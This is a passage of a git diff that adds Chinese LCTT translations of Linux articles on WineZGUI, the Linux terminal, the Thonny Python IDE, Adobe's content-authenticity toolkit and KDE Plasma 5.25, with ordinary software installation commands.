+译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/category/distributions +[2]: https://www.debugpoint.com/wp-content/uploads/2022/06/Flatseal-App.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/06/Manage-Flatpak-Permission-using-Flatseal.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/06/Telegram-Desktop-Flatpak-App-does-not-have-permission-to-the-home-folders.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/06/Permission-changed-of-Telegram-Desktop-to-give-access-to-folders.jpg +[6]: https://flathub.org/apps/details/com.github.tchx84.Flatseal +[7]: https://flatpak.org/setup/ +[8]: https://dl.flathub.org/repo/appstream/com.github.tchx84.Flatseal.flatpakref +[9]: https://www.debugpoint.com/tag/flatpak/ diff --git a/published/202206/20220610 Run Windows Apps And Games Using WineZGUI On Linux.md b/published/202206/20220610 Run Windows Apps And Games Using WineZGUI On Linux.md new file mode 100644 index 0000000000..64081739db --- /dev/null +++ b/published/202206/20220610 Run Windows Apps And Games Using WineZGUI On Linux.md @@ -0,0 +1,178 @@ +[#]: subject: "Run Windows Apps And Games Using WineZGUI On Linux" +[#]: via: "https://ostechnix.com/winezgui-run-windows-apps-and-games-on-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14744-1.html" + +在 Linux 上使用 WineZGUI 运行 Windows 应用和游戏 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/22/160322tds2ut05d8jqdlzz.jpg) + +> WineZGUI - 一个使用 Zenity 的 Wine GUI 前台 + +不久前,我们写了关于 [Bottles][1] 的文章,这是一个开源的图形应用,可以在 Linux 操作系统上轻松运行 Windows 软件和游戏。今天,我们将讨论一个类似的有趣项目。向 **WineZGUI** 打个招呼,它是一个 Wine GUI 前台,可以 [在 Linux 上用 Wine 运行 Windows 应用和游戏][2]。 + +### 什么是 WineZGUI? + +WineZGUI 是一个 Bash 脚本的集合,它允许你轻松地管理 Wine 前缀,并在 Linux 上使用 **Zenity** 提供更轻松的 Wine 游戏体验。 + +(LCTT 译注:Wine 前缀是一个特殊文件夹,Wine 在其中放置所有 Wine 特定的文件,安装 Windows 程序、库和注册表代码,以及用户首选项。) + +使用 WineZGUI,我们可以直接从文件管理器中启动 Windows EXE 文件或游戏,而无需安装它们。 + +WineZGUI 为每个应用或游戏创建快捷方式,以便于访问,同时也为每个 EXE 二进制文件创建单独的前缀。 + +当你用 WineZGUI 启动一个 Windows EXE 文件时,它会提示你是否使用默认的 Wine 前缀或创建一个新的前缀。默认的前缀是 `~/.local/share/winezgui/default`。 + +如果你选择为 Windows 二进制文件(EXE)创建一个新的前缀,WineZGUI 将尝试从 EXE 文件中提取产品名称和图标,并创建一个桌面快捷方式。 + +当你以后启动相同的二进制文件(EXE)时,它将建议你用先前的相关前缀来运行它。 + +说得通俗一点,WineZGUI 只是一个用于官方原始 Wine 的简单 GUI。当我们启动一个 EXE 来玩游戏时,Wine 前缀的设置是自动的。 + +你只需打开一个 EXE,它就会创建一个前缀和一个桌面快捷方式,并从该 EXE 中提取名称和图标。 + +它使用 `exiftool` 和 `icotool` 工具来分别提取名称和图标。你可以通过现有的前缀打开一个 EXE 来启动该游戏,或者使用桌面快捷方式。 + +WineZGUI 是一个在 GitHub 上免费托管的 shell 脚本。你可以抓取源代码,改进它,修复错误和增加功能。 + +### Bottles Vs WineZGUI + +你可能想知道 WineZGUI 与 Bottles 相比如何。但这些应用之间有一个微妙的区别。 + +**Bottles 是面向前缀的**和**面向运行器的**。意思是:Bottles 首先创建一个前缀,然后使用不同的 EXE 文件。Bottles 不会记住 EXE 的前缀。Bottles 使用不同的运行器。 + +**WineZGUI 是面向 EXE 的**。它使用 EXE 并只为该 EXE 创建一个前缀。下次我们打开一个 EXE 时,它将询问是否用现有的 EXE 前缀启动。 + +WineZGUI 不提供像 Bottles 或 [lutris][3] 那样的高级功能,如运行程序、在线安装程序等。 + +### 如何在 Linux 中安装 WineZGUI + +确保你已经安装了 WineZGUI 的必要先决条件。 + +Debian/Ubuntu: + +``` +$ sudo dpkg --add-architecture i386 +$ sudo apt install zenity wine winetricks libimage-exiftool-perl icoutils gnome-terminal +``` + +Fedora: + +``` +$ sudo dnf install zenity wine winetricks perl-Image-ExifTool icoutils gnome-terminal +``` + +官方推荐的安装 WineZGUI 的方法是使用 [Flatpak][4]。 + +安装完 Flatpak 后,逐一运行以下命令,在 Linux 中安装 WineZGUI。 + +``` +$ flatpak --user remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +``` +$ flatpak --user -y install flathub org.winehq.Wine/x86_64/stable-21.08 +``` + +``` +$ wget https://github.com/fastrizwaan/WineZGUI-Releases/releases/download/WineZGUI-0.4_20220608/io.github.WineZGUI_0_4_20220608.flatpak +``` + +``` +$ flatpak --user -y install io.github.WineZGUI_0_4_20220608.flatpak +``` + +### 在 Linux 中用 WineZGUI 运行 Windows 应用和游戏 + +从 Dash 或菜单中启动 WineZGUI。 + +![Launch WineZGUI][5] + +这就是 WineZGUI 的默认界面的样子。 + +![WineZGUI Interface][6] + +正如你在上面的截图中看到的,WineZGUI 的界面非常简单易懂。从主窗口中,你可以: + +* 打开一个 EXE 文件。 +* 打开 Winetricks GUI 和 CLI。 +* 启动 Wine 配置。 +* 启动资源管理器。 +* 打开 BASH Shell。 +* 关闭所有的应用/游戏,包括 WineZGUI 界面。 +* 删除 Wine 前缀。 +* 查看已安装的 WineZGUI 版本。 + +为了演示,我将打开一个 EXE 文件。 + +在下一个窗口中,选择要运行的 EXE 文件。在我的例子中,它是 WinRAR。 + +![Choose The EXE File To Run][7] + +接下来,你是想用默认的前缀运行 EXE 文件,还是创建一个新的前缀。我选择默认的前缀。 + +![Run WinRAR With Default Prefix][8] + +几秒钟后,会出现 WinRAR 安装向导。点击安装,继续。 + +![Install WinRAR In Linux][9] + +点击 “OK” 来完成 WinRAR 的安装。 + +![Complete WinRAR Installation][10] + +点击 “运行 WinRARRun WinRAR” 来启动它。 + +![Run WinRAR][11] + +下面是 WinRAR 在我的 Fedora 36 桌面上的运行情况! + +![WinRAR Is Running In Fedora Using Wine][12] + +### 总结 + +WineZGUI 是俱乐部的新人。如果你正在寻找一种在 Linux 桌面上使用 Wine 运行 Windows 应用和游戏的更简单方法,WineZGUI 可能是一个不错的选择。 + +在 WineZGUI 的帮助下,用户可以选择在与 EXE 相同的文件夹中创建一个 Wine 前缀,并创建一个相对链接的 `.desktop` 条目来自动执行此操作。 + +原因是使用 Wine 前缀备份和删除游戏更容易,并且让它生成一个 `.desktop` 将使其能够适应移动和转移。 + +一个很酷的场景是使用该应用进行设置,然后将 Wine 前缀分享给你的朋友和其他人,他们只需要一个具有所有依赖性和保存的工作 Wine 前缀。 + +请试一试它,在下面的评论区告诉我们你对这个项目的看法。 + +**资源:** + +* [WineZGUI GitHub 仓库][13] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/winezgui-run-windows-apps-and-games-on-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/run-windows-software-on-linux-with-bottles/ +[2]: https://ostechnix.com/run-windows-games-softwares-ubuntu-16-04/ +[3]: https://ostechnix.com/manage-games-using-lutris-linux/ +[4]: https://ostechnix.com/how-to-install-and-use-flatpak-in-linux/ +[5]: https://ostechnix.com/wp-content/uploads/2022/06/Launch-WineZGUI.png +[6]: https://ostechnix.com/wp-content/uploads/2022/06/WineZGUI-Interface.png +[7]: https://ostechnix.com/wp-content/uploads/2022/06/Choose-The-EXE-File-To-Run.png +[8]: https://ostechnix.com/wp-content/uploads/2022/06/Run-WinRAR-With-Default-Prefix.png +[9]: https://ostechnix.com/wp-content/uploads/2022/06/Install-WinRAR-In-Linux.png +[10]: https://ostechnix.com/wp-content/uploads/2022/06/Complete-WinRAR-Installation.png +[11]: https://ostechnix.com/wp-content/uploads/2022/06/Run-WinRAR.png +[12]: https://ostechnix.com/wp-content/uploads/2022/06/WinRAR-Is-Running-In-Fedora-Using-Wine.png +[13]: https://github.com/fastrizwaan/WineZGUI diff --git a/published/202206/20220611 Don-t Be Afraid of Linux Terminal. Embrace it..md b/published/202206/20220611 Don-t Be Afraid of Linux Terminal. Embrace it..md new file mode 100644 index 0000000000..1a8a532e1e --- /dev/null +++ b/published/202206/20220611 Don-t Be Afraid of Linux Terminal. Embrace it..md @@ -0,0 +1,147 @@ +[#]: subject: "Don’t Be Afraid of Linux Terminal. Embrace it." +[#]: via: "https://itsfoss.com/love-thy-terminal/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "duoluoxiaosheng" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14721-1.html" + +Linux 终端,它不可怕,拥抱它 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/17/144213pjobjojcnwbnd4rn.jpg) + +至少,对于熟悉图形界面的新用户来说,我们大多时候都在避免使用 Linux 终端。 + +尽管让事情变得简单和方便是好事,但还是有许多理由说明我们不应该害怕尝试 Linux 终端。 + +在这里,我将重点介绍其中的几个,以鼓励你在终端中尝试一些最终会对你有所帮助的东西。 + +### 1、快速熟悉命令 + +![quick info terminal][1] + +有时,你需要使用某个命令在终端中执行一些操作。当然,你可以在不知道它到底有什么用情况下复制粘贴。 + +但是,如果你想知道这条命令更多的信息,该怎么办呢? + +你只需要输入下面的命令就可以了, + +``` +man +``` + +例如:`man apt`。 + +它会直接在屏幕上给出所有重要的细节,不需要网络连接,不需要在网上搜索它是如何工作的。你节约了时间,增长了知识。 + +而且,这使事情变得简单,使你在使用终端的时候更有信心。 + +这通常被称为 “手册页man page”。 你可以阅读我们的课程《[了解 Linux 上的手册页][2]》。 + +Linux 终端万岁。 + +### 2、解决问题 + +![troubleshoting illustration][3] + +当你在互联网上搜索一个问题的解决方法时,通常,解决方案中会包含几个命令。 + +因此,终端的最佳用例之一,是可以毫不费力地解决几个系统问题。同时,你需要小心,因为如果你不知道你在做什么,你可能最终会破坏你的系统。 + +虽然图形界面可以调整一些东西,但是大部分简单的修复方法都是通过终端完成的。 + +我们在网站上提供了几个 [故障诊断指南][4],例如: + +* [检查网卡制造商][5] +* [修复关机时间过长][6] +* [修复博通网卡没有 WiFi 信号的问题][7] + +### 3、使用远程服务器愉快工作 + +![remote server illustration][8] + +最终,你会通过命令行(或终端)访问一个远程服务器并执行各种操作,包括文件传输。 + +与使用图形界面访问远程服务器相比,使用 Linux 终端可以让你用最小的带宽,快速的执行任何你想要的操作。 + +当然,你也可以通过终端在远程服务器上开启图形界面程序。尽管速度十分缓慢,终端还是可以让你轻松的与远程服务器进行交互。 + +### 4、高效利用资源 + +不管你使用哪一款 [Linux 发行版][9],Linux 终端永远是高效且消耗内存最小的。 + +如果你资源不足或硬件驱动和图形界面程序有冲突,那么 Linux 终端永远值得你的信赖。 + +这将帮你在不占用太多系统资源的情况下完成关键任务。 + +### 5、快速 + +![fast illustration][10] + +你知道吗?不仅局限于内存使用,使用终端你可以比使用图形界面更快的完成任务。 + +你可以尝试安装应用、运行程序、执行复杂的文件操作等等。 + +### 6、稳定可靠的命令行程序 + +相比于图形界面程序,命令行程序更加稳定和可靠,为什么呢? + +在终端中,使程序崩溃的因素很少。 + +由于终端工具大部分是为服务器构建的,很多时候不够直观。也正是由于这个原因,命令行工具通常不会得到不必要的频繁更新,使它们成为比图形界面程序更可靠的选择。 + +### 7、更多的命令行工具 + +没有一个图形界面程序能解决所有问题。但是,对执行各种操作,然而,有几个 [命令行工具][11] 可以执行各种操作,一些有趣和关键的任务也是如此。 + +你需要完成一些工作,来吧,总有一款命令行工具适合你。 + +### 8、尝试各种终端模拟器 + +![variety illustration][12] + +尽管使用 Linux 发行版默认安装的终端模拟器对你来说没有任何困难,你仍然有更多的选择。 + +如果你有特殊的外观和性能需求,或者为某些用途特殊定制,你可以看看这些 [最佳的终端模拟器][13]。 + +如果你觉得使用终端是一件枯燥的事情,你一定要试试这些终端模拟器。 + +### 结束语 + +就我个人来说,当我刚开始接触 Linux 时,我也对终端心存畏惧。但是当我可以熟练的使用它处理一些简单任务的时候,我才开始意识到上面所说的终端的优点。 + +你没必要放弃图形界面而使用终端处理所有的事情。尽管如此,最好还是使用终端处理一些事情,这可以节省你的时间,让你更快的完成工作,并心情愉悦。 + +Abhishek 曾经写过一篇很棒的涉及各种小事的 [指南][14],可以让你熟悉 Linux 终端。 + +*你觉得,相比于图形界面,终端有哪些优点呢?是什么原因让你选择终端呢?快来告诉我们吧。* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/love-thy-terminal/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[duoluoxiaosheng](https://github.com/duoluoxiaosheng) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/06/quick-info-terminal.png +[2]: https://itsfoss.com/linux-man-page-guide/ +[3]: https://itsfoss.com/wp-content/uploads/2022/06/troubleshoting-illustration.jpg +[4]: https://itsfoss.com/tag/troubleshoot/ +[5]: https://itsfoss.com/find-network-adapter-ubuntu-linux/ +[6]: https://itsfoss.com/long-shutdown-linux/ +[7]: https://itsfoss.com/fix-no-wireless-network-ubuntu/ +[8]: https://itsfoss.com/wp-content/uploads/2022/06/remote-server-illustration.jpg +[9]: https://itsfoss.com/best-linux-distributions/ +[10]: https://itsfoss.com/wp-content/uploads/2022/06/fast-illustration.jpg +[11]: https://itsfoss.com/tag/cli-tools/ +[12]: https://itsfoss.com/wp-content/uploads/2022/06/variety-illustration.jpg +[13]: https://itsfoss.com/linux-terminal-emulators/ +[14]: https://itsfoss.com/basic-terminal-tips-ubuntu/ diff --git a/published/202206/20220613 Thonny is an Ideal IDE for Teaching Python Programming in Schools.md b/published/202206/20220613 Thonny is an Ideal IDE for Teaching Python Programming in Schools.md new file mode 100644 index 0000000000..2840423b72 --- /dev/null +++ b/published/202206/20220613 Thonny is an Ideal IDE for Teaching Python Programming in Schools.md @@ -0,0 +1,128 @@ +[#]: subject: "Thonny is an Ideal IDE for Teaching Python Programming in Schools" +[#]: via: "https://itsfoss.com/thonny-python-ide/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14717-1.html" + +Thonny:在学校教授 Python 编程的理想 IDE +====== + +在 Linux 中运行一个 Python 程序只需要简单地在终端中执行 Python 文件就行。 + +但这对人们来说不是很方便,也不能帮助你调试你的程序。太原始了。 + +有几个 IDE 和文本编辑器可以用于 Python 开发。Linux 用户可以使用 [PyCharm 社区版][1]。 + +我最近发现了另一个专门为 Python 初学者制作的 IDE。我喜欢这个应用的想法,因此我在这里与你分享。 + +### Thonny 是一个跨平台、开源的 Python IDE,适合初学者使用 + +[Thonny][2] 在用户界面和用户体验方面,感觉就像 Python 版本的 Eclipse。考虑到大多数 C++ 和 Java 的初学者都是从 Eclipse 开始的,而且许多人后来一直使用它,这也不完全是一件坏事。 + +它不是一个新的工具。它已经出现好几年了。我没有用 Python 进行编码,所以直到最近才发现它。 + +Thonny 专注于 Python,提供了帮助 Python 初学者了解其程序行为的功能。让我们来看看这些功能。 + +#### 即装即用 + +Thonny 自带 Python,所以你不需要为安装 Python 做额外的努力。这对 Linux 用户来说不是什么大事,因为大多数发行版都默认安装了 Python。 + +界面很简单。它给你一个编辑器,你可以写你的 Python 程序,然后点击运行按钮或使用 `F5` 键来运行程序。输出显示在底部。 + +![thonny hello world][3] + +#### 查看变量 + +在 “查看View->变量Variables”,你可以看到所有变量的值。不需要将它们全部打印出来。 + +![thonny variable pane][4] + +#### 内置调试器 + +通过使用调试器一步步运行你的程序。你可以从顶部的菜单或使用 `Ctrl + F5` 键访问它。在这里你甚至不需要设置断点。你可以用 `F6` 进入大步骤,或用 `F7` 进入小步骤。 + +![thonny step by step f6][5] + +在小步骤中,你可以看到 Python 是如何看待你的表达式的。这对新的程序员理解他们的程序为什么以某种方式表现非常有帮助。 + +![thonny step by step f7][6] + +不止这样。对于函数调用,它会打开一个新的窗口,里面有独立的局部变量表和代码指针。超级酷! + +#### 语法错误高亮 + +初学者经常会犯一些简单的语法错误,如缺少小括号、引号等。Thonny 会在编辑器中立即指出来。 + +本地变量也可以从视觉上与全局变量区分开来。 + +#### 自动补全 + +你不需要输入所有的东西。Thonny 支持自动补全代码,这有助于加快编码。 + +![thonny auto complete][7] + +#### 访问系统 shell + +在工具中,你可以访问系统 shell。在这里你可以安装新的 Python 包或学习从命令行处理 Python。 + +![thonny shell terminal][8] + +请注意,如果你使用 Flatpak 或 Snap,Thonny 可能无法访问系统 shell。 + +#### 从 GUI 管理 Pip + +进入工具和管理包。它会打开一个窗口,你可以从这个 GUI 中安装 Pip 软件包。 + +![thonny manage packages][9] + +对于学习 Python 来说,功能足够好,对吗?让我们看看如何安装它。 + +### 在 Linux 上安装 Thonny + +Thonny 是一个跨平台的应用。它可用于 Windows、macOS 和 Linux。 + +它是一个流行的应用,你可以在大多数 Linux 发行版的仓库中找到它。只要在你的系统的软件中心寻找它。 + +另外,你也可以随时使用你的 Linux 发行版的包管理器。 + +在 Debian 和基于 Ubuntu 的发行版上,你可以使用 `apt` 命令来安装它。 + +``` +sudo apt install thonny +``` + +它会下载一堆依赖关系和大约 300MB 的软件包。 + +安装后,你可以在菜单中搜索它,并从那里安装它。 + +### 总结 + +Thonny 对于初级 Python 程序员来说是个不错的工具。不是说专家不能使用它,但它更适合在学校和学院使用。学生们会发现它有助于学习 Python 和理解他们的代码是如何以某种方式表现出来的。事实上,它最初是在爱沙尼亚的塔尔图大学开发的。 + +总的来说,对于 Python 学习者来说是一个很好的软件。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/thonny-python-ide/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/install-pycharm-ubuntu/ +[2]: https://thonny.org/ +[3]: https://itsfoss.com/wp-content/uploads/2022/06/thonny-hello-world.png +[4]: https://itsfoss.com/wp-content/uploads/2022/06/thonny-variable-pane.png +[5]: https://itsfoss.com/wp-content/uploads/2022/06/thonny-step-by-step-f6.png +[6]: https://itsfoss.com/wp-content/uploads/2022/06/thonny-step-by-step-f7.png +[7]: https://itsfoss.com/wp-content/uploads/2022/06/thonny-auto-complete.png +[8]: https://itsfoss.com/wp-content/uploads/2022/06/thonny-shell-terminal.png +[9]: https://itsfoss.com/wp-content/uploads/2022/06/thonny-manage-packages.png diff --git a/published/202206/20220614 Adobe Launches Open Source Toolkit To Contain Visual Misinformation.md b/published/202206/20220614 Adobe Launches Open Source Toolkit To Contain Visual Misinformation.md new file mode 100644 index 0000000000..b5142c3643 --- /dev/null +++ b/published/202206/20220614 Adobe Launches Open Source Toolkit To Contain Visual Misinformation.md @@ -0,0 +1,44 @@ +[#]: subject: "Adobe Launches Open Source Toolkit To Contain Visual Misinformation" +[#]: via: "https://www.opensourceforu.com/2022/06/adobe-launches-open-source-toolkit-to-contain-visual-misinformation/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14729-1.html" + +为减少视觉错误信息,Adobe 推出了开源工具包 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/19/105844yauuhdz1u1189ffr.jpg) + +Adobe 设想的是为网络上充斥的照片和视频标注关于它们的来源。该公司的主要目标是减少视觉错误信息的传播,不过,该系统也可以使那些“希望将自己的名字与工作关联起来”的内容创作者受益。 + +Adobe 在 2019 年首次宣布了其 内容真实性计划Content Authenticity Initiative(CAI)项目,此后,它发布了一份关于实现该目标的技术白皮书,将该系统集成了到自己的软件中,并与新闻编辑室和硬件制造商展开了合作,以帮助普及其愿景。 + +现在,该公司发布了一个由三部分组成的开源工具包,从而把该技术交到开发人员手中,并投入使用。Adobe 的新开源工具包括一个用于开发“在浏览器中显示内容凭据”的 JavaScript SDK、一个命令行实用程序,和一个用于开发桌面应用程序、移动应用程序和其他应用的 Rust SDK,以创建、查看和验证嵌入式内容凭据。 + +众所周知,照片的 EXIF 数据中记录了有关光圈和快门速度的信息,这个新标准也采用了这种方式,它还记录有关文件创建的信息,例如文件的创建和编辑方式。如果该公司的共同愿景成真,这些 Adobe 称之为“内容凭证”的元数据,将在社交媒体平台、图像搜索平台、图像编辑器、搜索引擎中广泛可见。 + +C2PA 是 Adob​​e 的 CAI 与 微软、索尼、英特尔、推特以及 BBC 等合作伙伴的合作成果。华尔街日报、尼康和美联社最近也加入了 Adob​​e 的这个计划,即将 内容认证技术content authentication 更加广泛地应用。 + +有了这些新工具,社交媒体平台就可以使用 Adob​​e 的 JavaScript SDK,快速让平台上的所有图像和视频显示内容凭据,这些凭据将会在鼠标悬停时,显示为右上角的一个图标。因此,无需专门的团队和更大的软件构建,该实施可以由几个开发人员在几周内完成。 + +CAI 的主要目标是打击互联网上的视觉错误信息,比如那些扭曲乌克兰战争的旧图片的重新传播,或是臭名昭著的南希·佩洛西的“廉价假货”。不过,数字监管链也可能使“作品被盗或出售”的内容创作者受益,这个问题多年来一直困扰着视觉艺术家,现在也正在 NFT 市场引发问题。 + +根据 Parsons 的说法,CAI 还引起了那些“制作合成图像和视频”的公司的巨大兴趣。公司可以将原始元数据嵌入到我们从 DALL-E 等模型中看到的那种 AI 创作中,从而确保它提供的合成图像不会轻易被误认为是真实的东西。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/adobe-launches-open-source-toolkit-to-contain-visual-misinformation/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/adobe.jpeg diff --git a/published/202206/20220614 KDE Plasma 5.25 Release is All About Color, Theme, and Other Improvements.md b/published/202206/20220614 KDE Plasma 5.25 Release is All About Color, Theme, and Other Improvements.md new file mode 100644 index 0000000000..4115800575 --- /dev/null +++ b/published/202206/20220614 KDE Plasma 5.25 Release is All About Color, Theme, and Other Improvements.md @@ -0,0 +1,143 @@ +[#]: subject: "KDE Plasma 5.25 Release is All About Color, Theme, and Other Improvements" +[#]: via: "https://news.itsfoss.com/kde-plasma-5-25-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14720-1.html" + +KDE Plasma 5.25 发布:颜色、主题和其他改进 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/17/120251jxjpjmmhzcmoq2mx.jpg) + +> KDE Plasma 5.25 终于来了,它带来了许多视觉更新和有用的改进! + +![Plasma 5.25][1] + +KDE Plasma 5.25 一直是最受期待的版本之一,因为它最近的版本都专注于改进视觉效果和工作流程。 + +例如,[KDE Plasma 5.24][2] LTS 版本带来了升级的 Breeze 主题和全新的概览效果,改进了工作流程。 + +如今,KDE Plasma 5.25 带来了更多升级! + +### KDE Plasma 5.25 更新内容 + +虽然,在 Plasma 5.25 的最终发布之前,我们已经知道了一些它的 [关键特性][3]。但是,既然它正式发布了,那就是时候和你简单介绍一下 KDE Plasma 5.25 的全部新功能啦! + +**剧透一下**:大多数更新都涉及视觉改善和可用性改进。 + +#### 新壁纸 + +![][4] + +如果你玩过 “[无人深空][5]No Man's Sky” 或类似的电子游戏,你可能会有似曾相识的感觉。 + +撇开这一点不谈,默认壁纸对旧壁纸进行了更新,具有完全不同的主题颜色。 + +#### 触摸板和触摸屏手势 + +Plasma 5.25 包括了一系列手势,以充分利用新功能。例如:四指捏合、从屏幕边缘滑动以触发概览效果或 桌面网格Desktop Grid 等。 + +你可以使用该版本支持的 1:1 手势,轻松管理虚拟桌面,并在工作区之间切换。 + +你可以前往 工作区行为Workspace Behavior 设置来调整你需要的操作。 + +#### 支持选择性应用全局主题 + +![KDE Plasma 5.25][6] + +当你在系统设置中应用 全局主题Global Theme 时,系统将提示你,是否要应用主题的所有部分,或是只应用它的某些部分。 + +你可以应用它的特定外观选项,也可以用它来替换整个配置。 + +总的来说,当将全局主题应用于使用 KDE 的系统时,这个更新提供了细粒度的自定义控制。 + +#### 根据当前壁纸自动生成强调色 + +以前,我们总觉得能够选择自定义或预设强调色,就已经足够了。 + +现在,有了 KDE Plasma 5.25,你可以根据当前壁纸自动生成强调色。它应该也能够与墙纸幻灯片一起使用。 + +![][7] + +所以,如果你既让桌面匹配你的背景,又不想要自己花力气定制,那么这个选项应该会对你有用。 + +![][7a] + +这是新功能库的一个小而强大的补充。 + +#### 带有强调色的配色方案 + +为了更好地自定义外观/观感,KDE Plasma 5.25 可以让你在选择的强调色上定制配色方案。 + +![KDE Plasma 5.25][8] + +如果你喜欢配色主题的用户体验,你可以启用/禁用它。 + +#### 触控模式改进 + +![][9] + +当你在桌面环境中使用触控模式时(通过支持的设备或手动),KDE Plasma 5.25 将增大 KDE 应用程序的任务管理器、系统托盘和标题栏的大小,使它们更易于访问。 + +#### “发现” 软件中心的改进 + +“发现Discover” 软件中心有一些细微的变化。以前,你需要单独浏览“应用程序”、“附加组件”和 “Plasma 附加组件”等类别;而现在,你在侧边栏中就可以找到所有应用程序类别。 + +![KDE Plasma 5.24][10] + +![KDE Plasma 5.25][11] + +此外,对于 Flatpak 应用程序,你可以看到它所需的权限。还有,应用程序页面也有了一些升级,以显示有关你查看的应用程序的更多信息。 + +#### 其他改进 + +其他重要的改进包括定制功能的升级和工作流程的修改。其中包括: + +* 一个新的混合效果,用于使动画颜色之间的变化具有动画效果,每当你改变主题/颜色或自动改变时,可以平滑过渡。 +* 强大的容纳管理功能,它允许你在监视器之间移动桌面以及文件夹/小部件,即使你已断开它们的连接。 +* Kwin 脚本设置页面已被重写。 +* 键盘导航支持自定义快捷键和系统托盘图标。 +* 新增一个浮动面板,用于在面板周围添加边距。 +* 改进了 KRunner 的性能。 +* 网络小部件添加了 Wi-Fi 网络的频率和 BSSID 的详细信息。 + +如果你想了解更多,可以查看 [公告][12]。 + +### 尝试 KDE Plasma 5.25 + +你可以下载 KDE Neon,以便在最新的 KDE Plasma 5.25 有更新时马上就可以用上。如果你等不及了,测试版也是个不错的选择(如果你愿意实验的话)。 + +> **[KDE Neon][13]** + +对于其他 Linux 发行版,你得等待开发人员推送更新(LTS 版除外)。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/kde-plasma-5-25-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/plasma-5-25-feat.jpg +[2]: https://news.itsfoss.com/kde-plasma-5-24-lts-release/ +[3]: https://news.itsfoss.com/plasma-5-25-features/ +[4]: https://news.itsfoss.com/wp-content/uploads/2022/06/plasma-5-25-wallpaper-1024x576.jpg +[5]: https://www.nomanssky.com/ +[6]: https://news.itsfoss.com/wp-content/uploads/2022/06/apply_global_theme_advanced.png +[7]: https://news.itsfoss.com/wp-content/uploads/2022/06/blue_accent.jpg +[7a]: https://player.vimeo.com/video/720193948 +[8]: https://news.itsfoss.com/wp-content/uploads/2022/04/tint-color-scheme-1024x751.png +[9]: https://news.itsfoss.com/wp-content/uploads/2022/06/tablet_context_menu.png +[10]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/04/kde-discover-plasma-5-25.png?ssl=1 +[11]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/04/kde-plasma-5-25-discover.png?ssl=1 +[12]: https://kde.org/announcements/plasma/5/5.25.0/ +[13]: https://neon.kde.org/download diff --git a/published/202206/20220614 Share your Linux terminal with tmate.md b/published/202206/20220614 Share your Linux terminal with tmate.md new file mode 100644 index 0000000000..b296bc9a53 --- /dev/null +++ b/published/202206/20220614 Share your Linux terminal with tmate.md @@ -0,0 +1,104 @@ +[#]: subject: "Share your Linux terminal with tmate" +[#]: via: "https://opensource.com/article/22/6/share-linux-terminal-tmate" +[#]: author: 